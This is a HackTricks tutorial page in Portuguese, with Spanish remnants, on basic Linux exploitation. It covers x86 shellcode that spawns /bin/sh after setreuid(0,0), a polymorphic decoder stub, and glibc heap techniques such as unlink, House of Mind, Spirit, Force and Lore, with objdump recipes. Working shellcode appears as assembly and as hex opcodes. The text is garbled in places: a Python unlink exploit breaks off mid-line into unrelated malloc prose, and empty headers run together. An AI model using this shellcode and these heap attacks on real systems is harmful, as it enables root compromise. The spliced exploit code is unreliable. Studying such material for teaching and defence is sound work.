# Linux Exploiting (Basic) (SPA) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## **2.SHELLCODE** Ver interrupções de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR\_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\ exit(0); // \_\_NR\_exit 1 xor eax, eax ; limpamos eax\ xor ebx, ebx ; ebx = 0 pois não há argumento que passar\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ int 0x80 ; Executar syscall **nasm -f elf assembly.asm** —> Nos retorna um .o\ **ld assembly.o -o shellcodeout** —> Nos dá um executável formado pelo código assembly e podemos extrair os opcodes com **objdump**\ **objdump -d -Mintel ./shellcodeout** —> Para ver que efetivamente é nossa shellcode e extrair os OpCodes **Verificar se a shellcode funciona** ``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ void (*fp) (void); fp = (void *)shellcode; fp(); } ``` Para ver que as chamadas de sistema são realizadas corretamente, deve-se compilar o programa anterior e as chamadas do sistema devem aparecer em **strace ./PROGRAMA\_COMPILADO** Na hora de criar shellcodes, pode-se realizar um truque. A primeira instrução é um jump para um call. O call chama o código original e além disso coloca no stack o EIP. Depois da instrução call, colocamos a string que precisarmos, portanto, com esse EIP podemos apontar para a string e além disso continuar executando o código. EJ **TRUQUE (/bin/sh)**: ``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh) xorl %eax, %eax ; eax = NULL movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh movl $0xb, %eax ; Syscall 11 movl %esi, %ebx ; arg1=“/bin/sh” leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”} leal 0xc(%esi), %edx ; arg3 = NULL int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL) xorl %ebx, %ebx ; ebx = NULL movl %ebx, %eax inc %eax ; Syscall 1 int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` **EJ usando a Pilha(/bin/sh):** ``` section .text global _start _start: xor eax, eax ;Limpieza mov al, 0x46 ; Syscall 70 xor ebx, ebx ; arg1 = 0 xor ecx, ecx ; arg2 = 0 int 0x80 ; setreuid(0,0) xor eax, eax ; eax = 0 push eax ; “\0” push dword 0x68732f2f ; “//sh” push dword 0x6e69622f; “/bin” mov ebx, esp ; arg1 = “/bin//sh\0” push eax ; Null -> args[1] push ebx ; “/bin/sh\0” -> args[0] mov ecx, esp ; arg2 = args[] mov al, 0x0b ; Syscall 11 int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) ``` **EJ FNSTENV:** ``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs … ``` **Egg Huter:** Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode ali guardada (busca alguma assinatura colocada na shellcode). Útil nos casos em que se tem apenas um pequeno espaço para injetar código. **Shellcodes polimórficos** Consistem em shells criptografadas que têm um pequeno código que as descriptografa e salta para ele, usando o truque de Call-Pop este seria um **exemplo cifrado cesar**: ``` global _start _start: jmp short magic init: pop esi xor ecx, ecx mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) desc: sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) sub cl, 1 jnz desc jmp short sc magic: call init sc: ;Aquí va el shellcode ``` ## **5.Métodos complementarios** **Técnica de Murat** Em linux, todos os programas são mapeados começando em 0xbfffffff Vendo como se constrói a pilha de um novo processo em linux, pode-se desenvolver um exploit de forma que o programa seja iniciado em um ambiente cuja única variável seja a shellcode. O endereço desta então pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME\_ejecutable\_completo) - strlen(shellcode) Dessa forma, obter-se-ia de forma simples o endereço onde está a variável de ambiente com a shellcode. Isso pode ser feito graças à função execle que permite criar um ambiente que tenha apenas as variáveis de ambiente desejadas. ### ### ### ### ### ### **Format Strings to Buffer Overflows** A **sprintf moves** uma string formatada **para** uma **variável.** Portanto, você poderia abusar do **formato** de uma string para causar um **buffer overflow na variável** onde o conteúdo é copiado.\ Por exemplo, o payload `%.44xAAAA` irá **escrever 44B+"AAAA" na variável**, o que pode causar um buffer overflow. ### **\_\_atexit Structures** {% hint style="danger" %} Hoje em dia é muito **estranho explorar isso**. {% endhint %} **`atexit()`** é uma função à qual **outras funções são passadas como parâmetros.** Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\ Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para uma shellcode, por exemplo, você **ganhará controle** do **processo**, mas isso atualmente é mais complicado.\ Atualmente, os **endereços das funções** a serem executadas estão **ocultos** atrás de várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas estão **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente, esse vetor de ataque **não é muito útil, pelo menos em x86** e **x64\_86**.\ A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque ela **retorna o mesmo** que recebeu como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor. ### **setjmp() & longjmp()** {% hint style="danger" %} Hoje em dia é muito **estranho explorar isso**. {% endhint %} **`Setjmp()`** permite **salvar** o **contexto** (os registradores)\ **`longjmp()`** permite **restaurar** o **contexto**.\ Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\ O que acontece é que EIP e ESP são passados pela **função `PTR_MANGLE`**, então a **arquitetura vulnerável a esse ataque é a mesma que acima**.\ Eles são úteis para recuperação de erros ou interrupções.\ No entanto, pelo que li, os outros registradores não estão protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP. **VTable e VPTR em C++** Cada classe tem uma **Vtable** que é um array de **ponteiros para métodos**. Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para o array de sua classe. O VPtr é parte do cabeçalho de cada objeto, então se uma **sobrescrita** do **VPtr** for alcançada, ele poderia ser **modificado** para **apontar** para um método fictício, de forma que a execução de uma função vá para a shellcode. ## **Medidas preventivas e evasões** ### **Reemplazo de Libsafe** É ativado com: LD\_PRELOAD=/lib/libsafe.so.2\ ou\ “/lib/libsave.so.2” > /etc/ld.so.preload Intercepta as chamadas a algumas funções inseguras por outras seguras. Não está padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD\_PRELOAD não funciona em binários com suid). **ASCII Armored Address Space** Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, e menos em little endian. **ret2plt** Consiste em realizar um ROP de forma que se chame a função strcpy@plt (da plt) e se aponte para a entrada da GOT e se copie o primeiro byte da função que se deseja chamar (system()). Em seguida, faz-se o mesmo apontando para GOT+1 e se copia o 2º byte de system()… No final, chama-se o endereço guardado na GOT que será system(). **Jaulas com chroot()** debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico sob um subdiretório específico Um admin pode sair de uma dessas jaulas fazendo: mkdir foo; chroot foo; cd .. **Instrumentação de código** Valgrind —> Busca erros\ Memcheck\ RAD (Return Address Defender)\ Insure++ ## **8 Heap Overflows: Exploits básicos** **Trozo asignado** prev\_size |\ size | —Cabeçalho\ \*mem | Dados **Trozo libre** prev\_size |\ size |\ \*fd | Ptr forward chunk\ \*bk | Ptr back chunk —Cabeçalho\ \*mem | Dados Os trozos livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois trozos livres juntos (eles se juntam). Em “size” há bits para indicar: Se o trozo anterior está em uso, se o trozo foi alocado por mmap() e se o trozo pertence à arena primária. Se ao liberar um trozo algum dos contíguos estiver livre, estes se fundem através da macro unlink() e o novo trozo maior é passado para frontlink() para que insira o bin adequado. unlink(){\ BK = P->bk; —> O BK do novo chunk é o que tinha o que já estava livre antes\ FD = P->fd; —> O FD do novo chunk é o que tinha o que já estava livre antes\ FD->bk = BK; —> O BK do próximo chunk aponta para o novo chunk\ BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk\ } Portanto, se conseguirmos modificar o P->bk com o endereço de uma shellcode e o P->fd com o endereço a uma entrada na GOT ou DTORS menos 12, consegue-se: BK = P->bk = \&shellcode\ FD = P->fd = &\_\_dtor\_end\_\_ - 12\ FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode E assim se executa ao sair do programa a shellcode. Além disso, a 4ª sentença de unlink() escreve algo e a shellcode tem que estar reparada para isso: BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso provoca a escrita de 4 bytes a partir do 8º byte da shellcode, por isso a primeira instrução da shellcode deve ser um jmp para pular isso e cair em uns nops que levem ao resto da shellcode. Portanto, o exploit é criado: No buffer1 colocamos a shellcode começando por um jmp para que caia nos nops ou no resto da shellcode. Depois da shellcode colocamos preenchimento até chegar ao campo prev\_size e size do próximo trozo. Nesses locais colocamos 0xfffffff0 (de forma que se sobrescreva o prev\_size para que tenha o bit que diz que está livre) e “-4“(0xfffffffc) no size (para que quando verificar no 3º trozo se o 2º estava livre, na verdade vá ao prev\_size modificado que dirá que está livre) -> Assim, quando free() investigar, irá ao size do 3º, mas na verdade irá ao 2º - 4 e pensará que o 2º trozo está livre. E então chamará **unlink()**. Ao chamar unlink() usará como P->fd os primeiros dados do 2º trozo, portanto, ali se colocará o endereço que se deseja sobrescrever - 12 (pois em FD->bk ele somará 12 ao endereço guardado em FD). E nesse endereço introduzirá o segundo endereço que encontrar no 2º trozo, que nos interessará que seja o endereço da shellcode (P->bk falso). **from struct import \*** **import os** **shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno** **shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** **"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** **"\x80\xe8\xdc\xff\xff\xff/bin/sh";** **prev\_size = pack("\ Retorna um ponteiro para o endereço onde começa o trozo (mem-8) … ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1] … \_int\_free(ar\_ptr, mem); } Em \[1] verifica o campo size o bit NON\_MAIN\_ARENA, o qual pode ser alterado para que a verificação retorne true e execute heap\_for\_ptr() que faz um and a “mem” deixando a 0 os 2.5 bytes menos importantes (no nosso caso de 0x0804a000 deixa 0x08000000) e acessa 0x08000000->ar\_ptr (como se fosse um struct heap\_info) Dessa forma, se podemos controlar um trozo, por exemplo em 0x0804a000 e vai ser liberado um trozo em **0x081002a0**, podemos chegar ao endereço 0x08100000 e escrever o que quisermos, por exemplo **0x0804a000**. Quando esse segundo trozo for liberado, encontrará que heap\_for\_ptr(ptr)->ar\_ptr retorna o que escrevemos em 0x08100000 (pois se aplica a 0x081002a0 o and que vimos antes e daí se saca o valor dos 4 primeiros bytes, o ar\_ptr) Dessa forma, chama-se \_int\_free(ar\_ptr, mem), ou seja, **\_int\_free(0x0804a000, 0x081002a0)**\ **\_int\_free(mstate av, Void\_t\* mem){**\ …\ bck = unsorted\_chunks(av);\ fwd = bck->fd;\ p->bk = bck;\ p->fd = fwd;\ bck->fd = p;\ fwd->bk = p; ..} Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no trozo que vai ser liberado. Tal como se define unsorted\_chunks, sabemos que:\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; Portanto, se em av->bins\[2] escrevemos o valor de \_\_DTOR\_END\_\_-12, na última instrução se escreverá em \_\_DTOR\_END\_\_ o endereço do segundo trozo. Ou seja, no primeiro trozo temos que colocar no início muitas vezes o endereço de \_\_DTOR\_END\_\_-12 porque é daí que av->bins\[2] irá tirar. No endereço que cair a direção do segundo trozo com os últimos 5 zeros, devemos escrever o endereço deste primeiro trozo para que heap\_for\_ptr() pense que o ar\_ptr está no início do primeiro trozo e tire de lá o av->bins\[2]. No segundo trozo e graças ao primeiro, sobrescrevemos o prev\_size com um jump 0x0c e o size com algo para ativar -> NON\_MAIN\_ARENA. A seguir, no trozo 2 colocamos um monte de nops e finalmente a shellcode. Dessa forma, chamará \_int\_free(TROZO1, TROZO2) e seguirá as instruções para escrever em \_\_DTOR\_END\_\_ o endereço do prev\_size do TROZO2, o qual saltará para a shellcode. Para aplicar essa técnica, é necessário que se cumpram alguns requisitos mais que complicam um pouco mais o payload. Essa técnica já não é aplicável, pois foi aplicado quase o mesmo patch que para unlink. Compara-se se o novo local para o qual se aponta também está apontando para ele. **Fastbin** É uma variante de The house of mind. Nos interessa chegar a executar o seguinte código ao qual se chega passada a primeira verificação da função \_int\_free() fb = &(av->fastbins\[fastbin\_index(size)] —> Sendo fastbin\_index(sz) —> (sz >> 3) - 2 … p->fd = \*fb \*fb = p Dessa forma, se se colocar em “fb” dá endereço de uma função na GOT, nesse endereço se colocará o endereço do trozo sobrescrito. Para isso será necessário que a arena esteja perto dos endereços de dtors. Mais exatamente, que av->max\_fast esteja no endereço que vamos sobrescrever. Dado que com The House of Mind vimos que nós controlávamos a posição do av. Então, se no campo size colocamos um tamanho de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() nos devolverá fastbins\[-1], que apontará para av->max\_fast. Nesse caso, av->max\_fast será o endereço que será sobrescrito (não a que aponte, mas essa posição será a que será sobrescrita). Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 8, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops). Além disso, esse mesmo trozo falso deve ser menor que av->system\_mem. av->system\_mem está 1848 bytes mais além. Por culpa dos nulos de \_DTOR\_END\_ e das poucas direções na GOT, nenhum endereço dessas seções serve para ser sobrescrito, assim que vejamos como aplicar fastbin para atacar a pilha. Outra forma de ataque é redirecionar o **av** para a pilha. Se modificarmos o size para que dê 16 em vez de 8, então: fastbin\_index() nos devolverá fastbins\[0] e podemos fazer uso disso para sobrescrever a pilha. Para isso, não deve haver nenhum canary nem valores estranhos na pilha, de fato, temos que nos encontrar nela: 4bytes nulos + EBP + RET. Os 4 bytes nulos são necessários para que o **av** esteja nesse endereço e o primeiro elemento de um **av** é o mutex que deve valer 0. O **av->max\_fast** será o EBP e será um valor que nos servirá para saltar as restrições. No **av->fastbins\[0]** será sobrescrito com o endereço de **p** e será o RET, assim se saltará para a shellcode. Além disso, em **av->system\_mem** (1484bytes acima da posição na pilha) haverá bastante lixo que nos permitirá pular a verificação que é realizada. Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 16, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops que vão depois do campo size do novo trozo falso). **The House of Spirit** Nesse caso, buscamos ter um ponteiro a um malloc que possa ser alterável pelo atacante (por exemplo, que o ponteiro esteja na pilha abaixo de um possível overflow a uma variável). Assim, poderíamos fazer com que esse ponteiro apontasse para onde fosse. No entanto, nem todo local é válido, o tamanho do trozo falsificado deve ser menor que av->max\_fast e mais especificamente igual ao tamanho solicitado em uma futura chamada a malloc()+8. Por isso, se sabemos que depois desse ponteiro vulnerável se chama malloc(40), o tamanho do trozo falso deve ser igual a 48. Se, por exemplo, o programa perguntasse ao usuário por um número, poderíamos introduzir 48 e apontar o ponteiro de malloc modificável para os seguintes 4bytes (que poderiam pertencer ao EBP com sorte, assim o 48 fica por trás, como se fosse o cabeçalho size). Além disso, o endereço ptr-4+48 deve cumprir várias condições (sendo nesse caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system\_mem. Caso isso se cumpra, quando se chamar o próximo malloc que dissemos que era malloc(40), será atribuído como endereço o endereço do EBP. Caso o atacante também possa controlar o que é escrito nesse malloc, pode sobrescrever tanto o EBP quanto o EIP com o endereço que quiser. Acredito que isso seja porque assim, quando o liberar, free() guardará que no endereço que aponta para o EBP da pilha há um trozo de tamanho perfeito para o novo malloc() que se deseja reservar, assim que lhe atribui esse endereço. **The House of Force** É necessário: * Um overflow a um trozo que permita sobrescrever o wilderness * Uma chamada a malloc() com o tamanho definido pelo usuário * Uma chamada a malloc() cujos dados possam ser definidos pelo usuário O primeiro que se faz é sobrescrever o size do trozo wilderness com um valor muito grande (0xffffffff), assim qualquer solicitação de memória suficientemente grande será tratada em \_int\_malloc() sem necessidade de expandir o heap. O segundo é alterar o av->top para que aponte para uma zona de memória sob o controle do atacante, como a pilha. Em av->top se colocará \&EIP - 8. Temos que sobrescrever av->top para que aponte para a zona de memória sob o controle do atacante: victim = av->top; remainder = chunck\_at\_offset(victim, nb); av->top = remainder; Victim coleta o valor do endereço do trozo wilderness atual (o atual av->top) e remainder é exatamente a soma desse endereço mais a quantidade de bytes solicitados por malloc(). Por isso, se \&EIP-8 está em 0xbffff224 e av->top contém 0x080c2788, então a quantidade que temos que reservar no malloc controlado para que av->top fique apontando para $EIP-8 para o próximo malloc() será: 0xbffff224 - 0x080c2788 = 3086207644. Assim, se guardará em av->top o valor alterado e o próximo malloc apontará para o EIP e poderá sobrescrevê-lo. É importante saber que o size do novo trozo wilderness seja maior que a solicitação realizada pelo último malloc(). Ou seja, se o wilderness está apontando para \&EIP-8, o size ficará justo no campo EBP da pilha. **The House of Lore** **Corrupção SmallBin** Os trozos liberados são introduzidos no bin em função de seu tamanho. Mas antes de serem introduzidos, são guardados em unsorted bins. Um trozo é liberado, não se coloca imediatamente em seu bin, mas fica em unsorted bins. A seguir, se reserva um novo trozo e o anterior liberado pode servir, devolve-se a ele, mas se se reserva um maior, o trozo liberado em unsorted bins se coloca em seu bin adequado. Para alcançar o código vulnerável, a solicitação de memória deverá ser maior que av->max\_fast (72 normalmente) e menor que MIN\_LARGE\_SIZE (512). Se nos bins houver um trozo do tamanho adequado ao que se pede, devolve-se esse após desenlaçá-lo: bck = victim->bk; Aponta para o trozo anterior, é a única info que podemos alterar. bin->bk = bck; O penúltimo trozo passa a ser o último, caso bck aponte para a pilha, ao próximo trozo reservado se dará esse endereço. bck->fd = bin; Fecha-se a lista fazendo com que este aponte para bin. Necessita-se: Que se reservem dois malloc, de forma que ao primeiro se possa fazer overflow após que o segundo tenha sido liberado e introduzido em seu bin (ou seja, tenha sido reservado um malloc superior ao segundo trozo antes de fazer o overflow). Que o malloc reservado ao qual se dá o endereço escolhido pelo atacante seja controlado pelo atacante. O objetivo é o seguinte, se podemos fazer um overflow a um heap que tem por baixo um trozo já liberado e em seu bin, podemos alterar seu ponteiro bk. Se alteramos seu ponteiro bk e esse trozo chega a ser o primeiro da lista de bin e se reserva, a bin será enganada e dirá que o último trozo da lista (o próximo a oferecer) está no endereço falso que colocamos (na pilha ou GOT, por exemplo). Portanto, se se voltar a reservar outro trozo e o atacante tem permissões nele, se lhe dará um trozo na posição desejada e poderá escrever nele. Após liberar o trozo modificado, é necessário que se reserve um trozo maior que o liberado, assim o trozo modificado sairá de unsorted bins e se introduzirá em seu bin. Uma vez em seu bin, é o momento de modificar seu ponteiro bk através do overflow para que aponte para o endereço que queremos sobrescrever. Assim, o bin deverá esperar turno para que se chame a malloc() suficientes vezes para que se volte a utilizar o bin modificado e enganar o bin fazendo-o acreditar que o próximo trozo está no endereço falso. E a seguir se dará o trozo que nos interessa. Para que a vulnerabilidade se execute o mais rápido possível, o ideal seria: Reserva do trozo vulnerável, reserva do trozo que se modificará, libera-se esse trozo, reserva-se um trozo maior ao que se modificará, modifica-se o trozo (vulnerabilidade), reserva-se um trozo de igual tamanho ao vulnerado e reserva-se um segundo trozo de igual tamanho e este será o que aponte para o endereço escolhido. Para proteger esse ataque, usou-se a típica verificação de que o trozo “não” é falso: verifica-se se bck->fd está apontando para victim. Ou seja, no nosso caso, se o ponteiro fd\* do trozo falso apontado na pilha está apontando para victim. Para ultrapassar essa proteção, o atacante deveria ser capaz de escrever de alguma forma (provavelmente pela pilha) no endereço adequado a direção de victim. Para que assim pareça um trozo verdadeiro. **Corrupção LargeBin** Necessita-se dos mesmos requisitos que antes e mais alguns, além disso, os trozos reservados devem ser maiores que 512. O ataque é como o anterior, ou seja, tem que modificar o ponteiro bk e se necessitam todas essas chamadas a malloc(), mas além disso, deve-se modificar o size do trozo modificado de forma que esse size - nb seja < MINSIZE. Por exemplo, fará que colocar em size 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ficar negativa porque se compara um unsigned). Além disso, foi introduzido um patch para torná-lo ainda mais complicado. **Heap Spraying** Basicamente consiste em reservar toda a memória possível para heaps e preencher esses com um colchão de nops acabados por uma shellcode. Além disso, como colchão, utiliza-se 0x0c. Pois se tentará saltar para o endereço 0x0c0c0c0c, e assim, se se sobrescrever algum endereço ao qual se vá chamar com esse colchão, se saltará ali. Basicamente, a tática é reservar o máximo possível para ver se se sobrescreve algum ponteiro e saltar para 0x0c0c0c0c esperando que ali haja nops. **Heap Feng Shui** Consiste em, através de reservas e liberações, semear a memória de forma que fiquem trozos reservados entre trozos livres. O buffer a desbordar se situará em um dos ovos. **objdump -d executável** —> Disas functions\ **objdump -d ./PROGRAMA | grep FUNCION** —> Obter endereço da função\ **objdump -d -Mintel ./shellcodeout** —> Para ver que efetivamente é nossa shellcode e tirar os OpCodes\ **objdump -t ./exec | grep varBss** —> Tabela de símbolos, para tirar endereço de variáveis e funções\ **objdump -TR ./exec | grep exit(func lib)** —> Para tirar endereço de funções de bibliotecas (GOT)\ **objdump -d ./exec | grep funcCode**\ **objdump -s -j .dtors /exec**\ **objdump -s -j .got ./exec**\ **objdump -t --dynamic-relo ./exec | grep puts** —> Tira o endereço de puts a sobrescrever na GOT\ **objdump -D ./exec** —> Disas ALL até as entradas da plt\ **objdump -p -/exec**\ **Info functions strncmp —>** Info da função em gdb ## Cursos interessantes * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) * [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) ## **Referências** * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html) {% hint style="success" %} Aprenda e pratique AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %}